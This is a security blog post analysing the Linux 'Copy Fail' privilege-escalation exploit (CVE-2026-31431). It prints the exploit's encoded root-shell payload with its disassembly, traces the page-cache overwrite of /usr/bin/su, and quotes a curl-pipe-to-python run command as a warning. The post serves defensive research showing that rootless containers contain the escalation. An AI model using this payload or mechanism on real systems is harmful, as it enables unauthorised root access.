CVE-2026-31431: Copy Fail vs. rootless containers
04 May 2026
Table of Contents
- Table of Contents
- Introduction
- The vulnerability
- Analyzing the shellcode
- Setting up the lab
- Setting up rootless Podman
- Running the exploit inside a container
- Tracing the exploit mechanism
- Why rootless containers stopped the escalation
- Catching the kernel in the act with eBPF
- The uid_map proof
- Conclusions
Introduction
In the previous post about SELinux MCS and GitLab runners, I briefly mentioned CVE-2026-31431 (“Copy Fail”) as a motivating example for per-job VM isolation. After that post went out I spent the weekend setting up a lab to actually run the exploit, trace it at the syscall level, and verify that the rootless Podman architecture we deploy on GNOME’s runners would contain it. This post documents the entire process: from disassembling the shellcode to watching the kernel reject the privilege escalation in real time.
The vulnerability
For a full technical breakdown of the root cause, the scatterlist mechanics, and the disclosure timeline, read Theori’s excellent writeup at xint.io/blog/copy-fail-linux-distributions. In this blog post we’ll initially analyze the shellcode embedded in the public exploit, then set up a lab to run it inside a rootless container and subsequently trace what happens at the kernel level.
Analyzing the shellcode
In the days following the disclosure I noticed a lot of people running the exploit on their systems without bothering to check what the shellcode actually does. Executing a compressed binary blob from a GitHub repository you have never audited is not a great security practice — for all you know it could be exfiltrating data or dropping a backdoor alongside the privilege escalation. So before running anything, let’s look at what the actual shellcode contains.
The shellcode is embedded in the Python exploit as a compressed and hex-encoded string:
78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a
154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56
c3ff593611fcacfa499979fac5190c0c0c0032c310d3
The script uses zlib.decompress() to turn this into raw bytes. To extract and inspect the payload:
#!/usr/bin/env python3
import zlib
hex_str = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
compressed_bytes = bytes.fromhex(hex_str)
raw_payload = zlib.decompress(compressed_bytes)
with open("shellcode.bin", "wb") as f:
f.write(raw_payload)
print(f"Payload extracted: {len(raw_payload)} bytes")
Running file on the extracted binary confirms what we expect:
shellcode.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked...
This is not raw shellcode — it is a fully formed ELF executable. The exploit overwrites the beginning of /usr/bin/su with this tiny binary. When the OS executes su, it loads the corrupted pages from the page cache and runs the malicious ELF instead of the legitimate utility.
The standard objdump -d shellcode.bin produces no output because the exploit author used a technique called ELF golfing — stripping the Section Headers to compress the payload down to a few dozen bytes. Without a .text section, objdump gives up. To force raw disassembly:
objdump -D -b binary -m i386:x86-64 shellcode.bin
The first ~0x77 bytes are ELF header data that objdump tries to interpret as assembly, producing nonsensical add %al,(%rax) instructions. The actual code begins at offset 0x78. Here is the full disassembly with annotations:
The setuid(0) syscall (offsets 0x78 to 0x7e):
78: 31 c0 xor %eax,%eax
79: 31 ff xor %edi,%edi
7c: b0 69 mov $0x69,%al
7e: 0f 05 syscall
xor %edi, %edi sets rdi to 0 — the first argument for the syscall. mov $0x69, %al loads 105 (decimal), which is the Linux x64 syscall number for setuid. The syscall instruction executes setuid(0).
The execve("/bin/sh") syscall (offsets 0x80 to 0x8d):
80: 48 8d 3d 0f 00 00 00 lea 0xf(%rip),%rdi
87: 31 f6 xor %esi,%esi
89: 6a 3b push $0x3b
8b: 58 pop %rax
8c: 99 cltd
8d: 0f 05 syscall
lea 0xf(%rip), %rdi is a RIP-relative load — it looks 15 bytes ahead of the current instruction pointer, which lands exactly at offset 0x96, the start of the /bin/sh string. xor %esi, %esi sets argv to NULL. The push $0x3b / pop %rax sequence is a golfing trick to load 59 (execve) in fewer bytes than mov rax, 59. cltd sign-extends eax into edx, zeroing the third argument (envp) with a single byte. The final syscall executes execve("/bin/sh", NULL, NULL).
The clean exit (offsets 0x8f to 0x94):
8f: 31 ff xor %edi,%edi
91: 6a 3c push $0x3c
93: 58 pop %rax
94: 0f 05 syscall
If execve somehow fails, the payload calls exit(0) (syscall 60) rather than crashing.
The hardcoded string (offsets 0x96 to 0x9d):
96: 2f (bad)
97: 62 69 6e 2f 73 (bad)
9c: 68 .byte 0x68
9d: 00 00 add %al,(%rax)
objdump marks these as (bad) because it is trying to decode data as instructions. Converting the hex bytes 2f 62 69 6e 2f 73 68 00 to ASCII yields /bin/sh\0 — the null-terminated string that the lea instruction at offset 0x80 points to.
Setting up the lab
To reproduce the vulnerability I provisioned a Fedora 43 VM using virt-install. The kernel I had installed was 6.17.1-300.fc43.x86_64, which predates the fix entirely — the patch was backported into the stable 6.19.x tree starting with 6.19.12, so the entire 6.17.x line is vulnerable.
virt-install \
--name cve-2026-31431 \
--vcpus 4 \
--memory 4096 \
--disk path=/var/lib/libvirt/images/cve-2026-31431.qcow2,size=20,bus=virtio,format=qcow2 \
--network bridge=virbr0,model=virtio \
--location 'https://download.fedoraproject.org/pub/fedora/linux/releases/43/Everything/x86_64/os/' \
--initrd-inject=/tmp/vm.ks \
--extra-args="inst.ks=file:/vm.ks console=ttyS0,115200n8" \
--graphics none
Setting up rootless Podman
On the Fedora VM, I configured rootless Podman following the same patterns we use on GNOME’s GitLab runners — a dedicated podman system user with linger enabled, pasta for networking (the modern replacement for slirp4netns), and a large Sub-UID/Sub-GID allocation.
dnf install -y podman
useradd -m podman
usermod --add-subuids 100000-165535 --add-subgids 100000-165535 podman
loginctl enable-linger podman
su - podman -c 'podman run --rm alpine echo "Rootless Podman is working!"'
Running the exploit inside a container
Running strace inside a container requires two overrides: --cap-add=SYS_PTRACE (container runtimes drop this capability by default) and --security-opt seccomp=unconfined (the default seccomp profile blocks ptrace). Without both, strace will fail immediately with PTRACE_TRACEME: Operation not permitted.
I downloaded copy_fail_exp.py into a local directory beforehand — the /vuln mount in the command below points to that directory. Worth noting: I also saw people running the exploit via curl https://copy.fail/exp | python3 && su directly, which is just as reckless as running the shellcode without inspecting it first. Always download, read, and understand what you are about to execute.
From the host VM as the podman user:
podman run --rm -it \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
-v $(pwd):/vuln:Z \
-w /vuln \
fedora:43 bash
Inside the container, I installed strace, created an unprivileged test user, and ran the exploit:
dnf install -y strace python3 su -y
useradd testuser
chown testuser:testuser copy_fail_exp.py
cp /root/copy_fail_exp.py /home/testuser
su - testuser -c "strace -f -e trace=socket,bind,setsockopt,sendmsg,splice,execve,setuid -o python_trace.txt python3 copy_fail_exp.py"
Tracing the exploit mechanism
The strace output captured the exact mechanism by which the vulnerability corrupts the page cache. The exploit loops over the shellcode payload, writing it four bytes at a time into the in-memory cache of /usr/bin/su:
169 socket(AF_ALG, SOCK_SEQPACKET|SOCK_CLOEXEC, 0) = 4
169 bind(4, {sa_family=AF_ALG, salg_type="aead", salg_feat=0, salg_mask=0,
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88) = 0
169 setsockopt(4, SOL_ALG, ALG_SET_KEY, "\10\0\1\0...", 40) = 0
169 setsockopt(4, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4) = 0
169 sendmsg(5, {msg_iov=[{iov_base="AAAA\177ELF", iov_len=8}]}, MSG_MORE) = 8
169 splice(3, [0], 7, NULL, 4, 0) = 4
169 splice(6, NULL, 5, NULL, 4, 0) = 4
Step by step:
- The script creates an
AF_ALGsocket — the kernel’s userspace cryptographic API, available to unprivileged users by default - It binds to
authencesn(hmac(sha256),cbc(aes)), the specific cipher whose ESN scratch write triggers the bug sendmsgdelivers an 8-byte message. The first four bytes (AAAA) are padding; the next four (\177ELF) are the data to write — the start of the ELF header. In later iterations, different 4-byte chunks of the shellcode are sent (e.g.,iov_base="AAAA1\3001\377")splice()transfers page cache pages of/usr/bin/suinto the crypto socket’s buffer without copying to userspace. The kernel’sauthencesnscratch write then deposits those four bytes fromsendmsgdirectly into the page cache, bypassing file permissions entirely
This pattern repeats dozens of times until the entire malicious ELF payload is staged into the page cache. At the end:
170 execve("/usr/sbin/su", ["su"], 0x559f5d7fbe50 /* 22 vars */) = 0
170 execve("/bin/sh", NULL, NULL) = 0
The script executes su, which loads from the corrupted page cache and runs the malicious payload instead of the legitimate binary.
Why rootless containers stopped the escalation
The exploit successfully overwrote /usr/bin/su in the page cache, executed the shellcode, and escalated to root inside the container — the prompt changed to [root@ce307d49e132 testuser]# and setuid(0) returned success. But that root is contained by User Namespace UID mappings.
Rootless Podman relies on Linux User Namespaces. When you start a rootless container, Podman creates a user namespace where the container’s internal UID space is mapped to unprivileged UIDs on the host. The kernel allows setuid(0) to succeed because UID 0 inside the namespace is a valid identity — but it is mapped to an unprivileged host user. As we verify in the uid_map proof section below, container root (UID 0) maps directly to UID 1000 on the host — the podman user account. The exploit’s “root” shell has no more host-level privilege than that unprivileged user. It cannot modify host system files, cannot access /etc/shadow, and cannot interact with host processes outside the namespace.
Catching the kernel in the act with eBPF
There is a complication with using strace to observe the setuid(0) rejection. When ptrace is attached to a process that executes a SUID binary, the kernel triggers a secureexec transition and temporarily suspends event reporting to prevent an unprivileged debugger from hijacking a potentially privileged process. The setuid(0) call happens during this blindspot, so strace misses it.
To watch the kernel reject the call without debugger interference, I used bpftrace on the host. eBPF hooks into the kernel tracepoint directly and is not subject to the ptrace restrictions:
bpftrace -e '
tracepoint:syscalls:sys_enter_setuid /comm == "su"/ {
printf("Process %d (%s) attempting setuid(%d)...\n", pid, comm, args->uid);
}
tracepoint:syscalls:sys_exit_setuid /comm == "su"/ {
printf("...Kernel responded with: %d\n", args->ret);
}'
With this running on the host, I executed the exploit inside the container both with and without strace. The bpftrace output captured all the runs:
Process 27122 (su) attempting setuid(0)...
...Kernel responded with: -1
Process 27419 (su) attempting setuid(0)...
...Kernel responded with: 0
The -1 response (EPERM) correspond to the run where strace was attached. When ptrace is active on a process that executes a SUID binary, the kernel preemptively strips the SUID privileges to prevent a debugger from hijacking a potentially privileged process.
The 0 response correspond to the native run without strace. The exploit succeeded — setuid(0) returned success and the prompt changed to [root@ce307d49e132 testuser]#. But this is root inside the container, which — as the User Namespace mapping proves below — is just UID 1000 on the host. The exploit achieved full privilege escalation within the container’s namespace, but the namespace boundary prevented it from meaning anything on the host.
The uid_map proof
The final piece of evidence comes from the kernel’s UID mapping table. Inside the rootless container:
cat /proc/self/uid_map
0 1000 1
1 100000 65536
65537 524288 65536
The first line is the critical one: 0 1000 1 means UID 0 (root) inside the container is mapped to UID 1000 on the host — my unprivileged podman user. The remaining lines map the subordinate UID ranges we configured earlier.
Confirming from the host side by running sleep 100 inside the container and checking the host process table:
podman 27943 0.0 0.0 2984 2028 pts/1 S+ 22:15 0:00 sleep 100
The process is owned by podman, not root. Even with a root prompt inside the container, every action is constrained to what UID 1000 can do on the host. The exploit’s “root” shell cannot modify host system files, cannot access /etc/shadow, cannot interact with host processes — it is trapped within the User Namespace boundary.
Conclusions
Rootless containers handled this container escape scenario as expected. The exploit obtained root inside the container, but User Namespace UID mappings ensured that root was just my unprivileged podman user on the host. The page cache write worked, the shellcode executed, setuid(0) returned success — and none of it mattered outside the namespace boundary. This is exactly the kind of scenario rootless architectures were designed for, and it is why we run GNOME’s GitLab runners this way, at least for now, until we look deeper into ephemeral microVMs via Cloud Hypervisor + fleeting-plugin-fleetingd.
For those running OpenShift, I would highly suggest enabling User Namespace support for pods. User Namespaces were made GA starting from OpenShift 4.20 and provide the same UID mapping isolation we demonstrated here with rootless Podman — container root maps to an unprivileged host user, which means kernel LPEs like Copy Fail cannot escape the pod boundary even when the exploit itself succeeds.